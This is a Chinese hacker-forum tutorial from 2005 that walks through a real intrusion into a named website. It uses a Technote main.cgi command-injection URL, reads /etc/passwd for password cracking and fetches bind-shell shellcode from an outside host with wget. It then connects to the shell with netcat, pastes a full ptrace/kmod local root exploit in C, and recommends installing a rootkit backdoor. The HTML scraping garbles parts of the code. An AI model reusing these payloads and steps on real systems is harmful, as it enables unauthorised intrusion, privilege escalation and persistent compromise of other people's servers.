从web漏洞到系统root权限过程全展现

韩冰发表于 2005-2-4 23:59

作者：cnbird
大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒， 
所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论<a href="http://hackbase.com/network" target="_blank" >技术</A>。MainpAge:http://cnbird.hackvip.cn
 最近在家<a href="http://hackbase.com/hacker/leak" target="_blank" >研究</A>perl和UNIX<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点
转转吧，来到了<a href="http://www.nsfocus.net/" target="_blank" >www.nsfocus.net</A>看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A> 这个<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>引起了我的注意，大致看了看，
知道了这是一个可以远程执行命令的<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>，下面把<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。
Technote的'main.cgi'没有充分过滤用户提交输入，远程<a href="http://hackbase.com/hacker" target="_blank" >攻击</A>者可以利用这
个<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>以WEB进程权限在系统上执行任意命令。
由于不正确过滤'filename'参数，<a href="http://hackbase.com/hacker" target="_blank" >攻击</A>者提交包含"|command"的数据作为参
数内容，可能以WEB进程权限在系统上执行任意命令。

给出利用方法
<a href=" target="_blank" >_</A>num=5466654&board=rebarz99&command=down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>load&filename=rb9.txt|id">http:///cgi-bin/technote/main.cgi/shop.pdf?down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>num=5466654&board=rebarz99&command=down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>load&filename=rb9.txt|id</A>|
 看了看利用方法觉得很简单，所以打算自己写一个perl的<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>利用程序，
看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己
修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>成功率还是
很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.
^<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>^.
 好了开始咱们这次难得的<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>之旅吧,这篇文章看着很简单，其实融合我多年
的经验（其实就1-2年）,首先要测试这个<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>，先要找这样的<a href="http://bbs.hackbase.com/" target="_blank" >论坛</A>，
google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。
<a href="http://www.sealia.com/cgi-bin/technote/main.cgi" target="_blank" >http://www.sealia.com/cgi-bin/technote/main.cgi</A>首先大致看了看，然后就开始吧，
按照绿盟给出的公告测试一下，输入<a href=" target="_blank" >_</A>num=5466654&board=rebarz99&command=down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>num=5466654&board=rebarz99&command=down<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>load&filename=rb9.txt|id</A>|
结果如图1
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea1.jpg" border=0>
大家看到结果了
uid=99(nobody) gid=99(nobody) groups=99(nobody)
下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了，
我程序的工作
界面。如图2
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea2.jpg" border=0>
依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差
不多，
如图3
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea3.jpg" border=0>
 呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，
其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，然后执行$ cat /etc/passwd
不错，能拿到/etc/passwd。
如图4
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea4.jpg" border=0>
 呵呵已经得到/etc/passwd了，我们用流光去跑<a href="http://hackbase.com/hacker" target="_blank" >密码</A>吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。
 去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了<a href="http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb" target="_blank" >http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb</A>他们正在讨论phpbb的<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>利用方法和<a href="http://hackbase.com/hacker" target="_blank" >代码</A>，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊
如图5
<IMG src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea3.jpg" border=0>
呵呵见笑了，真没想到他们给的答案还很全面，^<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>^连什么程序都给出了，老外就是实在...呵呵...
This one works fine 
<a href="http://rst.void.ru/download/r57phpbb2010.txt" target="_blank" >http://rst.void.ru/download/r57phpbb2010.txt</A> 
upload, someth like this 
./exploit.pl victimhost:port /php<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>root/ topic<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>num "wget -O /var/tmp/.r.c <a href="http://myhttpserver:port/exploit/root.c" target="_blank" >http://myhttpserver:port/exploit/root.c</A>" 

./exploit.pl victimhost:port /php<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>root/ topic<a href="http://hackbase.com/hacker/tutorial/200502029794.htm#" target="_blank" >_</A>num "gcc /var/tmp/.r.c -o .root" 

exec on victim hots same shit
and binding shell 
<a href="http://shellcode.org/Shellcode/Linux/shell-bind-shell.html" target="_blank" >http://shellcode.org/Shellcode/Linux/shell-bind-shell.html</A>
回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.
首先来到了<a href="http://shellcode.org/Shellcode/Linux/shell-bind-shell.html" target="_blank" >http://shellcode.org/Shellcode/Linux/shell-bind-shell.html</A>看了看，
This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.
This would be ideal for a system which you didn't have a direct login shell upon.
从描述上来看是<a href="http://hackbase.com/skill/linux" target="_blank" >linux</A>的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，<a href="http://shellcode.org/Shellcode/Linux/shell-bind-shell.c" target="_blank" >http://shellcode.org/Shellcode/Linux/shell-bind-shell.c</A>
给出<a href="http://hackbase.com/hacker" target="_blank" >代码</A>
/* 92 bytes iscntrl() evading portbinding shellcode - <a href="http://hackbase.com/skill/linux" target="_blank" >linux</A>-x86
* - by bighawk (<a href="mailtbighawk@warfare.com" target="_blank" >bighawk@warfare.com</A>)
*
* This shellcode binds a shell on port 20000
*
* stdin, stdout and stderr are dupped. accept() arguments are sane.
*/
char code[] =
 "\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x4e\x20" // push word 8270
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\xef" // mov al, 239
"\xf6\xd0" // not al
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\x43" // inc ebx
"\x43" // inc ebx
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\xf4" // mov al, 244
"\xf6\xd0" // not al
"\xcd\x80"; // int 80h

main() {
 void (*a)() = (void *)code;
 int i;
 printf("size: %d bytes\n", strlen(code));
 printf("Testing for cntrl characters.. ");
 for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255);
 printf("PASSED\n");
 a();
}
好了我们已经知道该下载地址

韩冰发表于 2005-2-5 00:00

<a href="http://shellcode.org/Shellcode/Linux/shell-bind-shell.c" target="_blank" >http://shellcode.org/Shellcode/Linux/shell-bind-shell.c</A>了，
就可以用wget这个命令来下载了，输入
wget <a href="http://shellcode.org/Shellcode/Linux/shell-bind-shell.c" target="_blank" >http://shellcode.org/Shellcode/Linux/shell-bind-shell.c</A> -P /tmp意思
就是下载这个shell.c到/tmp目录下，如图6<img src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea3.jpg">
然后ls /tmp得到下面的结果，$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2bdlost+foundmremap<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>pte.cmy<a href="http://hackbase.com/hacker" target="_blank" >sql</A>.sockptrace.csess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>0a3d59b6da83717a4c05fbc5c6429982sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>12981c19e4cdab7bc426af965e7c85desess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>33c246570a69e0846eaaedaef61f0402sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>4eb43cb41a450e8a7d15998fe4e9ef82sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>5c2048e3188733f41bba9a1ab44a4f3bsess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>6405a9b3e0a809d7f298ad598f5de180sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>67fc6892112d2d780a092664353dcbbasess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>9e3a2581194c05f598543f10294a95edsess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>a0332a716e5c0a0932331ce9a5ec64d2sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>a159ec1f21a671d5cfe201c384d8da1csess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>c6f579b218f096eb5ba11fdbad90f248sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>cdea344ed2940c99c1fcc146c5322882sess<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天
在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
12gcc: /usr/bin/gcc
好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind
编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧，
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我
们知道他开了20000端口，我们telnet 上去吧，telnet <a href="http://www.sealia.com/" target="_blank" >www.sealia.com</A> 20000
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因，
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
(nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv <a href="http://www.sealia.com/" target="_blank" >www.sealia.com</A> 20000然后出现了C:\WINDOWS\system32>nc -vv <a href="http://www.sealia.com/" target="_blank" >www.sealia.com</A> 20000Warning: inverse host lookup failed for 61.100.181.12: h<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>errno 11004: NO<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>DATAwww.sealia.com 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7<img src="http://hackbase.com/UpLoadFiles/NewsPhoto/aimagea7.jpg"> 呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个<a href="http://hackbase.com/skill/linux" target="_blank" >linux</A>的操作系统，但不知道内核版本输入uname -r 可以看到这个<a href="http://hackbase.com/skill/linux" target="_blank" >linux</A>的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>利用程序，一个是Linux Kernel do<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>mremap VMA本地权限提升<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>（<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>利用程序下载地址<a href="http://rhea.oamk.fi/~pyanil00/temp/mremap<a%20href=" target="_blank" >_</A>pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>pte.c</A>)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到<a href="http://hackbase.com/skill/linux" target="_blank" >linux</A>里面cd /tmp;cat >1.c然后复制<a href="http://hackbase.com/hacker" target="_blank" >代码</A>右键输入<a href="http://hackbase.com/hacker" target="_blank" >代码</A>/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <<a href="mailtcliph@isec.pl" target="_blank" >cliph@isec.pl</A>>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";#define CODE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SIZE (sizeof(cliphcode) - 1)pid<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>t parent = 1;
pid<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>t child = 1;
pid<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>t victim = 1;
volatile int gotchild = 0;void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}void putcode(unsigned long * dst)
{
char buf;
unsigned long * src;
int i, len;memcpy(buf, cliphcode, CODE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SIZE);
len = readlink("/proc/self/exe", buf + CODE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SIZE, MA<a href="http://hackbase.com/skill/XP" target="_blank" >XP</A>ATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");len += CODE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SIZE + 1;
buf = '\0';src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}void sigchld(int signo)
{
struct user<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>regs<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>struct regs;if (gotchild++ == 0)
return;fprintf(stderr, "[+] Signal caught\n");if (ptrace(PTRACE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>GETREGS, victim, NULL, 畇) == -1)
fatal("[-] Unable to read registers");fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);putcode((unsigned long *)regs.eip);fprintf(stderr, "[+] Now wait for suid shell...\n");if (ptrace(PTRACE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");exit(0);
}void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}void do<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>child(void)
{
int err;child = getpid();
victim = child + 1;signal(SIGCHLD, sigchld);do
err = ptrace(PTRACE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);if (err == -1)
fatal("[-] Unable to attach");fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");for(;;);
}void do<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>SECURITY, SOCK<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>mode & S<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>ISUID) != S<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>ISUID);if (err == -1)
fatal("[-] Unable to stat myself");alarm(0);
system(progname);
}void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>PATH<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>BSHELL, <a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>PATH<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);parent = getpid();
child = fork();
victim = child + 1;if (child == -1)
fatal("[-] Unable to fork");if (child == 0)
do<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>child();
else
do<a href="http://hackbase.com/hacker/tutorial/200502029794_1.htm#" target="_blank" >_</A>parent(argv);return 0;
}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从<a href="http://hackbase.com/hacker" target="_blank" >入侵</A>中我们可以看出来我们做网站的一定要重视web<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>，这一点点的小<a href="http://hackbase.com/News/World" target="_blank" >漏洞</A>就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.

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